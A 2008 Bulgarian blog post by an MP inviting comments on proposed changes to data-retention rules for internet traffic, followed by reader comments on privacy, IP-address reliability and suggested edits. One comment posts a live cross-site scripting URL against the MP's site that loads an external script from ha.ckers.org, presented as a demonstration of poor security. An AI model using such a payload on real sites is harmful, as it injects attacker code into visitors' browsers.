чт 8 май 2008
“СЛУШАНЕТО НА ИНТЕРНЕТ (За чл. 251 ЗЕС и Наредба 40 на МВР относно данните за интернет трафика)
Публикувано от Минчо Спасов в Административно право , Законопроекти , Конституционно правоУважаеми блогъри,
В прикачения файл ще намерите проекто-предложение с мотиви за промяна на нормативните документи, свързани със “слушането” на интернет. В Народното събрание за съжаление е малко по- трудно да намеря хора, които да са “в час” с материята, затова ще се радвам да получа вашите коментари и препоръки, преди окончателно да съм оформил проекта251 ЗЕС Нар 40 А
8 май, 2008 в 9:26
За съжаление линковете не работят коректно. По добре който се опитва да отиде на http://spassovm.parliament.bg/wp-content/uploads/2008/05/
и да си ги свали от там
8 май, 2008 в 10:00
Аз имам доста коментари, поради технически и правни аспекти и ще ги напиша малко по-късно. Не ми се струва добра нито оригиналната наредба, нито поправката и като формулирам точно защо, ще го пусна тук
8 май, 2008 в 16:54
щеше да е добре, да ни управляват хора, които поне могат да прикачат един файл в WordPress. не е от трудните операции
8 май, 2008 в 21:27
Има някакъв проблем с 2-та линка, имената на кирилица може би.
13 май, 2008 в 20:37
Темата е много сериозна и актуална, но не мога да отворя прикачените файлове. Затова ще направя коментар по принцип, с помощта на предположението: Ако мобилните телефони и интернет бяха навлезли масово в живота ни през осемдесетте години на миналия век, все още държавата ни щеше да носи абревиатурата НРБ !
И докато записването на телефонен разговор дава информация само за един диалог, в много къс, макар и конкретен отрязък от време, то свързването на персоналния ви компютър към интернет, позволява автоматичният прочит, архивиране, анализ, подправяне и заличаване на огромен обем от информация, на практика за всичко с което се занимавате, във всички сфери на вашия живот и за всички с които контактувате. Контролът върху интернет ще позволи на контролиращите да знаят всичко за всички.Ако това стане ( мисля, че то даже си става и сега, и без да ни питат ), може спокойно да се поздравяваме с: “Честит ви комунизъм, господа”!
Дано с това , може би и малко пресилено, предположение, провокирам и други да вземат отношение по темата.
14 май, 2008 в 1:47
Аз съм предишния СС7 , но този път пиша от ИП адрес : 88.191.80.227 , като доказателство че съм аз ще кажа, че истинския ми адрес започва със 78. и завършва на .3 . Вие виждате адресите в блога си.
Това е идеално доказателство, че достоверна връзка между ИП адрес и физическо лице *няма* и *не може да има*.
Моля вземете в предвид това доказателство и не допускайте наредбата в досегашния и вид.
14 май, 2008 в 2:04
[...] Колеги, всичко това се пише на наш гръб. Минчо Спасов има предложениe за промяна на споменатата наредба. [...]
14 май, 2008 в 10:53
Понеже коментара ми е много дълъг го сложих на моя блог - http://delian.blogspot.com/2008/05/blog-post_13.html
Ето и есенцията:
Следните минимални редакции, аз считам за задължителни:
· Изрично споменаване в наредбата, че информацията събирана може да е непълна или не 100% достоверна, както и компрометируема, защото Интернет доставчиците не могат да го гарантират. (Ако някой плаче като малко дете и тропа с краче, че не съм прав съм склонен да участвам в доказателствени експерименти с които да го покажа. Няма да ми е за първи път)
· Изрично споменаване в наредбата с изключение на случаите, в които имаме нарушаване на правилата за работа с класифицирана информация, определени от закона, отговорността за интерпретацията на информацията и употребата и е единствено у този, който я е поръчал (иначе ISP-то ще заплаща към потребителите грешките на следващия Румен Петков)
· Информацията да се събира след заявката, а не за минало време (като за СРС), така че да даде възможност за по достоверна конфигурация.
· Изрично да се спомене, че информацията се събира с цел предотвратяване на тежки престъпления. Член 34 ал. 2 не ми се струва достатъчно силен (по-скоро лек), въпреки че смисъла му е точно това. Трябва да се промени на „изискването на информация да бъде само за предотвратяване на тежки престъпления”. Сегашната му форма казва, че информацията може да се достъпва винаги, стига да се оправдаем че не сме нарушили личния живот на засегнатите. Тоест ако знаем какво правят, но не им казваме, няма проблем.
· Данни се събират само за извършваните услуги от доставчика. Тоест ако не предоставяш VoIP не събираш данни за VoIP-то на клиентите си. Това значително ще поевтини събирането на информацията, и значително ще повиши достоверността и. Е няма да дава на нашите информация какво евентуално правят Българите в чужбина, но това едно че не би трябвало да ги интересува, и две че би трябвало да е грижа на полицаите в чужбина
15 май, 2008 в 4:09
Линковете към документите не се отварят - грешка 404 Not Found. Имената на файловете НЕ трябва да са на кирилица, преименувайте ги на латиница.
Горещо ви препоръчвам да прочетете следната публикация на Делян Делчев, доказан ИТ експерт:
http://delian.blogspot.com/2008/05/blog-post_13.html
24 юни, 2008 в 15:41
Абе господа не знам за какво говорите като човека си е казал точно:
http://delian.blogspot.com/2008/05/blog-post_13.html
А това че повечето политици нямат представа от интернет е много вярно. Еми като не разбирате допитвайте се до тези експерти. Ще дам пресен пример за неграмотноста на политиците към компютърните технологии.И той е точно тук на този сайт: http://spassovm.parliament.bg/index.php?s=%22%3E%3Cscript%20src=http://ha.ckers.org/s.js%3E%3C/script%3E
Какво е това ли ?Това е XSS. Google it !
Естествено аз харесвам г-н Спасов и не бих сторил нищо на сайта му. Е да обаче дали някои след мен няма да го направи?Това не мога да гарантирам. И ако аз сега нанеса вреда на този сайт и сам през proxy…какво ще логнете?Както и да е респект към г-н Делян Делчев който е изказал много правилно мнение по въпроса. Успех г-н Спасов променете България ако можете, но кажете и на онези горе,че с подслушването се погазват и основни човешки права.